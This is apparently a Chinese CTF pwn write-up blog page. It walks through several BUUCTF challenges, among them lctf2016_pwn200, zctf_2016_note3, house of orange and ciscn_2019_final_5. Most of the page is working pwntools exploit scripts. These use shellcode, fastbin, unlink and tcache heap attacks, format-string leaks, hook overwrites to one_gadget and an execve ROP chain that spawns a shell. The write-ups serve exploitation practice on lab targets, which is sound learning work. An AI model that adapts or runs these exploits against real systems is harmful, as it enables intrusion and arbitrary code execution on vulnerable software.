add(0x68 - i, b'a'*(0x68 - i)) #index 0
free(0)
add(0x68, b'a'*0x60 + p64(0x490)) #index 0
free(2)
add(0x410, b'a') #index 1
show(0)
main_arena_96 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_96 - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
malloc_hook = libcbase + libc.sym['__malloc_hook']
one_gadget = libcbase + 0x4f322

# malloc_hook -> one_gadget
add(0x68, b'a') #index 2
free(0)
free(2)
add(0x68, p64(malloc_hook))
add(0x68, b'a')
add(0x68, p64(one_gadget))

#pwn
p.sendlineafter(b'Your choice: ', b'1')
p.sendlineafter(b'Size:', b'10')
p.interactive()
#debug()

lctf2016_pwn200

先询问姓名和 id 0 这里有溢出,感觉可以通过这里的溢出任意修改内存 0 然后是菜单 0 add 0 free 0 该题的 NX 没开,应该就是要执行 shellcode 这里没注意到,当 v2 的输入长度为 0x30 的时候,会把 rbp 泄露 可以看到写入的字符串与泄露的 rbp 的偏移为 0x50 再加上之前可以任意写内存,我们可以令 free@got -> shellcode_addr exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26832)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()

shellcode = asm(
'''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')
payload = shellcode.ljust(0x30, b'a')
p.sendafter(b'who are u?\n', payload)
rbp = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
shellcode_addr = rbp - 0x50
p.sendlineafter(b'give me your id ~~?\n', b'0')
payload = p64(shellcode_addr)
payload = payload.ljust(0x38, b'\x00') + p64(elf.got['free'])
p.sendlineafter(b'give me money~\n', payload)

p.sendlineafter(b'your choice : ', '2')
p.interactive()
还有 house of spirit 的做法 https://blog.csdn.net/Echoion/article/details/122136280

gyctf_2020_some_thing_interesting

菜单堆题 先要输入验证码 0 输出验证码的时候有格式化字符串漏洞 0 菜单如图 0 add 会申请两次自定义大小堆块,有四个数组存储数据,两个数组存储堆块指针,两个数组存储堆块大小。 0 edit 0 free 存在 UAF show 保护全开,凭个人经验,应该就是先利用格式化字符串泄露基址,再利用 fast bin attack 通过调试,可以利用第十七个参数泄露 libcbase
# leak libcbase
payload = b'OreOOrereOOreO%17$p'
p.sendline(payload)
p.sendlineafter(b'Now please tell me what you want to do :', '0')
p.recvuntil(b'OreOOrereOOreO')
libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
print(' libcbase -> ', hex(libcbase))
然后就是利用 fast bin attack 修改 fd 伪造 fake chunk 修改 malloc hook
# malloc_hook -> one_gadget
add(0x60, b'a', 0x60, b'b') #index1
free(1)
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(' malloc_hook -> ', hex(malloc_hook))
one_gadget = libcbase + 0xf1147
print(' one_gadget -> ', hex(one_gadget))

edit(1, p64(0), p64(malloc_hook - 0x23))
add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27363)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size1, content1, size2, content2):
p.sendlineafter(b'Now please tell me what you want to do :', '1')
p.sendlineafter(b'length : ', str(size1))
p.sendafter(b' : ', content1)
p.sendlineafter(b'length : ', str(size2))
p.sendafter(b' : ', content2)
def edit(index, content1, content2):
p.sendlineafter(b'Now please tell me what you want to do :', '2')
p.sendlineafter(b'ID : ', str(index))
p.sendafter(b' : ', content1)
p.sendafter(b' : ', content2)
def free(index):
p.sendlineafter(b'Now please tell me what you want to do :', '3')
p.sendlineafter(b'ID : ', str(index))
def show(index):
p.sendlineafter(b'Now please tell me what you want to do :', '4')
p.sendlineafter(b'ID : ', str(index))

#gdb.attach(p, 'b *$rebase(0xDA3)')
# leak libcbase
payload = b'OreOOrereOOreO%17$p'
p.sendline(payload)
p.sendlineafter(b'Now please tell me what you want to do :', '0')
p.recvuntil(b'OreOOrereOOreO')
libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
print(' libcbase -> ', hex(libcbase))

# malloc_hook -> one_gadget
add(0x60, b'a', 0x60, b'b') #index1
free(1)
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(' malloc_hook -> ', hex(malloc_hook))
one_gadget = libcbase + 0xf1147
print(' one_gadget -> ', hex(one_gadget))

edit(1, p64(0), p64(malloc_hook - 0x23))
add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))

# pwn
p.sendlineafter(b'Now please tell me what you want to do :', '1')
p.sendlineafter(b'length : ', '10')
p.interactive()
#debug()
有点坑,glibc 和 buu 提供的 libc 第一次出现了偏差,先用 glibc 在本地打通再放到远程打的 也可以用 dup 的方法
# leak libcbase
payload = b'OreOOrereOOreO%17$p'
p.sendline(payload)
p.sendlineafter(b'Now please tell me what you want to do :', '0')
p.recvuntil(b'OreOOrereOOreO')
libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
print(' libcbase -> ', hex(libcbase))

# malloc_hook -> one_gadget
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(' malloc_hook -> ', hex(malloc_hook))
one_gadget = libcbase + 0xf1247
print(' one_gadget -> ', hex(one_gadget))

add(0x60, b'a', 0x60, b'b') #index1
free(1)
free(1)
add(0x60, p64(malloc_hook - 0x23), 0x60, p64(0))
add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))
# pwn
p.sendlineafter(b'Now please tell me what you want to do :', '1')
p.sendlineafter(b'length : ', '10')
p.interactive()

qctf2018_stack2

实现了一个计数求和的功能的一个程序 0 0 其中,在修改数字的功能这里 0 并没有限定 v5 的大小,所以可以数组溢出写,并且存在后门函数 v13 数组距离 ret 是 0x74,偏移是 29(这里看错了,以为是一个内存单元写的) 0 但是吧,失败了(偏移是 0x74 也失败了),得用 gdb 调试看看 结合给 v13[0] 赋值的汇编代码看 0 可以发现 v13 的地址为 0xffffd068 如果继续步进,选择 5 选项退出,来到 ret 后一个指令处,这里的 eip 的指向就是 ret 的地址 可以得到偏移为 0x84 由于 v13 是 char 型 所以要一个一个字节写
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28177)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

backdoor = [0x9b, 0x85, 0x4, 0x8]

p.sendlineafter(b'How many numbers you have:\n', '1')
p.sendlineafter(b'Give me your numbers\n', '1')
for i in range(4):
p.sendlineafter(b'5. exit\n', '3')
p.sendlineafter(b'which number to change:\n', str(0x84 + i))
p.sendlineafter(b'new number:\n', str(backdoor[i]))
p.sendlineafter(b'5. exit\n', '5')
p.interactive()

[BSidesCF 2019]Runit

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28802)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
p.recv()
p.sendline(asm(shellcraft.sh()))
p.interactive()

hgame2018_flag_server

0 明显要通过溢出控制变量,这里对 length v5 是否为负数并没有检查 read_n 这里就能够无限制写了 0 然后把 v10 填充下就行
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29542)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

p.sendlineafter(b'your username length: ', '-1')
payload = b'a'*0x40 + b'\x01'
p.sendlineafter(b'whats your username?\n', payload)
p.recv()
print(p.recv())

zctf_2016_note3

16 的菜单堆题 0 add 0 edit 0 free 0 其中, sub_4008DD 函数是这样的 0 当 a2 = 0 时,由于 i 是无符号数,可以溢出写 pie 没有开启,那么就是先泄露基址,然后修改 ptr 了 先利用 fast bin attack 修改 ptr 为 free@got ,然后 edit 为 puts@plt ,泄露 libcbase ,再 edit 为 /bin/sh ,get shell 不知道为什么,失败了
ptr = 0x6020C8
add(0x10, p64(elf.got['puts'])) #index 0
add(0, b'a') #index 1
add(0x60, b'b') #index 2
add(0x60, b'c') #index 3
add(0x10, p64(elf.got['puts'])) #index 4
free(2)
free(3)
edit(1, p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(ptr - 0x1b))
add(0x60, b'a') #index 2
add(0x60, b'\x00'*0xb + p64(elf.got['free'])) #index 3
edit(0, p64(elf.sym['puts']))
如果把 ptr[0] 修改成 puts@got ,就能修改成功,但是,如果是 free@got 程序就崩溃了,也不知道为什么 弄明白了 0 这里的 *(a1 + i) = 0 ,相当于在输入的字符串末尾添加一个 \x00 ,如果我们写入 八个字节的话,则会影响其它数据,如果要正常写入可以只写入七个字节,反正由于小端序的原因少写的一字节为\x00 ,会由于上述原因补上
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27718)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'(less than 1024)\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'the note:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'the note:\n', str(index))
# fast bin attack
ptr = 0x6020C8
add(0, b'a') #index 0
add(0x60, b'b') #index 1
add(0x60, b'c') #index 2
free(1)
free(2)
edit(0, p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(ptr - 0x1b))
add(0x60, b'a') #index 1
add(0x60, b'\x00'*0xb + p64(elf.got['free']) + p64(elf.got['atoi'])*3) #index 2
edit(0, p64(elf.sym['puts'])[:-1])

# leak libcbase
free(1)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = atoi - libc.sym['atoi']
system = libcbase + libc.sym['system']

# atoi -> system
edit(3, p64(system)[:-1])

# pwn
p.sendlineafter(b'option--->>\n', b'/bin/sh\x00')
p.interactive()
也可以用 unlink
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27718)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'(less than 1024)\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'the note:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'the note:\n', str(index))
# unlink
ptr = 0x6020C8
payload = p64(0) + p64(0xa1) + p64(ptr - 0x18) + p64(ptr - 0x10)
add(0x80, payload) # index 0
add(0, b'a') # index 1
add(0x80, b'a') # index 2
payload = p64(0)*2 + p64(0xa0) + p64(0x90)
edit(1, payload)
free(1)
free(2)

# leak libcbase
edit(0, p64(0)*3 + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi']))
edit(0, p64(elf.plt['puts'])[:-1])
free(1)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = atoi - libc.sym['atoi']
system = libcbase + libc.sym['system']

# atoi -> system
edit(2, p64(system)[:-1])

# pwn
p.sendlineafter(b'option--->>\n', b'/bin/sh\x00')
p.interactive()
另外的解题方法:https://article.itxueyuan.com/9qXeJX

rootersctf_2019_srop

题目说是SROP 0 0 看下指令 0 可以自由控制 rax,以此构造 SROP 不过得先找到 /bin/sh 的地址,这里我们可以先 SROP 个 read 来存储 /bin/sh ,再 SROP execve('/bin/sh', '0', '0')
题目说是SROP


看下指令

可以自由控制 rax,以此构造 SROP
不过得先找到 /bin/sh 的地址,这里我们可以先 SROP 个 read 来存储 /bin/sh ,再 SROP execve('/bin/sh', '0', '0')
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29757)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

syscall = 0x401033
pop_rax = 0x401032

sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = 0x402000
sigframe.rdx = 0x100
sigframe.rip = syscall
sigframe.rbp = 0x402000 + 0x20

p.recv()
payload = b'a'*0x88 + p64(pop_rax) + p64(0xf) + flat(sigframe)
p.sendline(payload)

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = 0x402000
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = b'/bin/sh\x00' + b'a'*0x20 + p64(pop_rax) + p64(0xf) + flat(sigframe)
p.sendline(payload)
p.interactive()
主要注意的是第一次 SROP 要设置 rbp = 0x402000 + 0x20 ,方便我们再次溢出覆盖 ret 执行第二次 SROP getshell
主要注意的是第一次 SROP 要设置 rbp = 0x402000 + 0x20 ,方便我们再次溢出覆盖 ret 执行第二次 SROP getshell

houseoforange_hitcon_2016

16 的菜单堆题 0 add 申请了三个堆块,0x10 ,自定义,0x8 ,0x10 的堆块存放这两个堆块的指针 0 show 0 edit 和 add 那里一样,v2 是写入的字节大小,是无符号数,应该是整数溢出漏洞 0 第一次见到没有 free 的,也没有序号的堆块,edit 和 show 只用最新创建的堆块。 目前已知的有整数溢出,也就是堆溢出,但是 edit 和 show 只操作最新创建的堆块。倒是可以尝试 house of force 不过也得先泄露基址,由于存在堆块申请大小的限制,所以我们不能直接申请比 top chunk 还大的堆块,因此我们先通过堆溢出修改 top chunkj 的 size (注意内存页对齐),再申请比 top chunk 还大的 堆块, 这样 top chunk 就被放入 unsorted bin 了 这里原本是 fd 的位置,但是创建堆块时必须要写,会导致泄露的数据有错误,所以我们都用 a 填充,令其泄露后面的 bk 0 同样,继续把 bk 填充满,就可以泄露堆块地址
# leak libcbase head_addr
add(0x10, b'a', b'1')
edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
add(0xfb0, b'a', b'1')
add(0x400, b'a'*8, b'1')
show()
main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
head_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
print(' head_addr -> ', hex(head_addr))
再接下来是一个新知识点 FSOP 在libc的 _IO_list_all 中,存放有一个 _IO_FILE_plus 结构体的指针, 如下图,它指向 _IO_2_1_stderr_: 0 而 _IO_FILE_plus结构体详细内容如下 0 其中_chain指向下一个_IO_FILE_plus结构体 在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp:
while (fp != NULL)
{
…
    fp = fp->_chain;
    ...
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
如果满足以下条件:
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入 如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了 ———————————————— 原文链接:https://blog.csdn.net/weixin_44145820/article/details/105270036 太折磨人了,真没搞懂 fsop
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25535)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size, content1, content2):
p.sendlineafter(b'choice : ', '1')
p.sendlineafter(b'name :', str(size))
p.sendafter(b'Name :', content1)
p.sendafter(b'Price of Orange:', content2)
p.sendlineafter(b'Color of Orange:', '1')
def show():
p.sendlineafter(b'choice : ', '2')
def edit(size, content1, content2):
p.sendlineafter(b'choice : ', '3')
p.sendlineafter(b'name :', str(size))
p.sendafter(b'Name:', content1)
p.sendafter(b'Price of Orange:', content2)
p.sendlineafter(b'Color of Orange:', '1')
# leak libcbase head_addr
add(0x10, b'a', b'1')
edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
add(0xfb0, b'a', b'1')
add(0x400, b'a'*8, b'1')
show()
main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
print(' heap_addr -> ', hex(heap_addr))

# FSROP
system = libcbase + libc.sym['system']
IO_list_all = libcbase + libc.sym['_IO_list_all']

payload = b'a' * 0x400 + p64(0) + p64(0x21) + b'a'*0x10
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_addr + 0x5C8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file

edit(-1, payload, b'1')
#debug()
# pwn 
p.sendlineafter(b'choice : ', '1')
p.interactive()

 gyctf_2020_document

菜单堆题 0 add 创建两个固定大小的堆块,其中 v2 存放 0x80 大小堆块的指针,另有一个数组存放 0x8 大小堆块的指针 注意这里读的时候要读够足够的字节才会继续向下执行 0 show 0 edit 可以选择是否改变 sex 0 free 存在 UAF,并且只 free 0x80 大小的堆块 0 保护全开,先要泄露基址,由于存在 UAF, free 后 show 就能泄露 libcbase 了 可以看到会泄露 main_arena_88
# leak libcbase 
add(b'a'*8, b'W', b'a'*0x70) #index 0
add(b'a'*8, b'W', b'a'*0x70) #index 1
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
但是呢, edit 是往 0x80 的 堆 的 user data 后十六个字节开始写,修改不了 fd 和 bk 看了wp,接下来最牛逼的方法来了,由于我们之前最先申请的 0x8 大小的 chunk 的 user data 还指向了一个具体的地址。我们接下来继续 add 时,0x8 的 chunk 会从 free 的 0x80 大小的 chunk 切割 0x20 大小出来使用,但是 edit 只能往 0x10 大小字节后面写,所以我们 add 两次就行了,可以修改 指向 堆块 的指针为 atoi@got ,然后将 atoi@plt 修改为 system@sym ,就能 getshell 了 对哦,保护全开写不了 got 表,只能劫持 free_hook 为 one_gadget 了 exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27910)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(name, sex, content):
p.sendlineafter(b'choice : \n', '1')
p.sendafter(b'name\n', name)
p.sendafter(b'sex\n', sex)
p.sendafter(b'information\n', content)
def show(index):
p.sendlineafter(b'choice : \n', '2')
p.sendlineafter(b'index : \n', str(index))
def edit(index, content):
p.sendafter(b'choice : \n', '3')
p.sendafter(b'index : \n', str(index))
p.sendafter(b'sex?\n', 'N')
p.sendafter(b'information\n', content)
def free(index):
p.sendlineafter(b'choice : \n', '4')
p.sendlineafter(b'index : \n', str(index))

# leak libcbase 
add(b'a'*8, b'W', b'a'*0x70) #index 0
add(b'a'*8, b'W', b'a'*0x70) #index 1
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

# dup   ----   free_hook -> one_gadget
free_hook = libcbase + libc.sym['__free_hook']
one_gadget = libcbase + 0x4526a
add(b'b'*8, b'W', b'a'*0x70) # index 2
add(b'c'*8, b'W', b'a'*0x70) # index 3
edit(0, p64(0) + p64(0x21) + p64(free_hook - 0x10) + p64(1) + p64(0) + p64(0x51) + p64(0)*8)
edit(3, p64(one_gadget) + p64(0)*13)
print(hex(one_gadget))
#debug()
# pwn
free(1)
p.interactive()
注意是 free_hook - 0x10 ,因为 edit 隔 0x10 字节写

强网杯2019 拟态 STKOF

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26919)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def get_payload():
p = b'a'*0x110
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x080495a3) # int 0x80
return p

payload = get_payload()
p.recv()
p.send(payload)
p.interactive()
拟态题,给了两个程序,直接用 32 位程序 ropchain 是能直接打通靶机的,但是打不通 64位程序

ciscn_2019_final_5

菜单堆题 0 add sub_400ae5 会泄露堆块的低三位地址,但是没啥用。后面再仔细看下程序流程,发现 index 并不是你申请的堆块的编号(这里后面发现错了,free 和 edit 会通过取存放堆块的指针的数组的数据 & F 来得到堆块序号,下面的 0x10 相当于占用的序号为 0 的位置,真的好巧妙,绝了),而是用来跟堆地址按位与后写入存放堆块指针的数组中,由于存在 tcache ,所以第一个申请的 0x10 大小的堆块一般是的地址后三位是 0x260 ,那么如果 index 是 0x10 ,按位与后就是 0x270 了,之后的 edit 和 free 都是按照 0x270 的地址操作,因此可以实现堆溢出 0 free 0 edit 0 add sub_400ae5 会泄露堆块的低三位地址,但是没啥用。后面再仔细看下程序流程,free 和 edit 会通过取存放堆块的指针的数组的数据 & F 来得到堆块序号,由于存在 tcache ,所以第一个申请的 0x10 ( 0x10 相当于占用的序号为 0 的位置) 大小的堆块一般是的地址后三位是 0x260 ,那么如果 index 是 0x10 ,按位与后就是 0x270 了,之后的 edit 和 free 都是按照 0x270 的地址操作,因此可以实现堆溢出 由于没开 PIE,通过堆溢出修改 tcache bin 中的 chunk 的 fd ,使其指向存放堆块指针的数组,修改 free@plt 为 puts@sym 泄露 libcbase,再修改 atoi@plt 为 system ,这是常规操作了 另外要注意的是,free@gotatoi@got 的最低位都是 0x8 ,因此 index 8 时才能修改,并且修改的时候是从 free@plt 前八个字节开始改的
# leak libcbase
add(0x10, 0x18, b'a') #index 0
add(1, 0x10, b'b') #index 1
free(1)
edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2, 0x10, b'a') #index 2
add(3, 0x18, p64(elf.got['free']) + p64(elf.got['atoi']))
edit(8, p64(0) + p64(elf.sym['puts']))
free(8)
free(8)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['setvbuf']
print(' libcbase -> ', hex(libcbase))
还要一个要注意的点,第一次 free 后即 第一次 puts ,其实泄露的是 free@got -> puts@plt ,也是就从 puts@plt 前八个字节开始的数据,这个没什么用,所以我们第二次 free ,这时候的 puts 的参数是 atoi@got,这时候能够正常泄露,但是是泄露 atoi@plt 的前八个字节,从 ida 看的话,是 setvbuf@plt 之后就是修改 atoi@got -> system 了 不过这里也值得注意,由于我们之前 free 的时候顺带把存放 chunk 大小的数组也给清零了,这时候 edit 就写不进数据了,所以这里先申请一个 chunk ,再修改,就能成功 edit 了
# atoi -> system
system = libcbase + libc.sym['system']
add(0, 0x10, b'a')
edit(3, p64(elf.got['atoi']))
edit(8, p64(0) + p64(system))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26919)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter('your choice: ', '1')
p.sendlineafter(b'index: ', str(index))
p.sendlineafter(b'size: ', str(size))
p.sendafter(b'content: ', content)
def free(index):
p.sendlineafter('your choice: ', '2')
p.sendlineafter(b'index: ', str(index))
def edit(index, content):
p.sendlineafter('your choice: ', '3')
p.sendlineafter(b'index: ', str(index))
p.sendafter(b'content: ', content)
# leak libcbase
add(0x10, 0x18, b'a') #index 0
add(1, 0x10, b'b') #index 1
free(1)
edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2, 0x10, b'a') #index 2
add(3, 0x18, p64(elf.got['free']) + p64(elf.got['atoi']))
edit(8, p64(0) + p64(elf.sym['puts']))
free(8)
free(8)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['setvbuf']
print(' libcbase -> ', hex(libcbase))

# atoi -> system
system = libcbase + libc.sym['system']
add(0, 0x10, b'a')
edit(3, p64(elf.got['atoi']))
edit(8, p64(0) + p64(system))

# pwn
p.sendlineafter('your choice: ', '/bin/sh\x00')
p.interactive()

 


 

 

 

 
   
   
   
       
     

ciscn_2019_final_5

标签:p64,libc,writep,第四页,free,add,libcbase,sendlineafter,PWN
From: https://www.cnblogs.com/xshhc/p/16860122.html

相关文章

  • 学习笔记-PWN
    PWN相关工具pwntools如何验证pwntools安装成功python进入交互,导入pwn库,出现如下字符证明pwntools安装成功python3>>>frompwnimport*>>>asm("xoreax,......
  • 0xgame2022 PWN week1-4
    0xgameweek1pwn1签到的nc,catflagpwn2ret2backdoor,一个栈溢出#encoding=utf-8frompwnimport*importosimportsysimporttime#fromae64importAE64#fro......
  • pwn2_sctf_2016
    "【符号位漏洞+ret2libc】【Write-up】BUUCTFpwn2_sctf_2016原题链接"【符号位漏洞+ret2libc】【Write-up】BUUCTFpwn2_sctf_2016checksec查看程序架构ida查看程序......
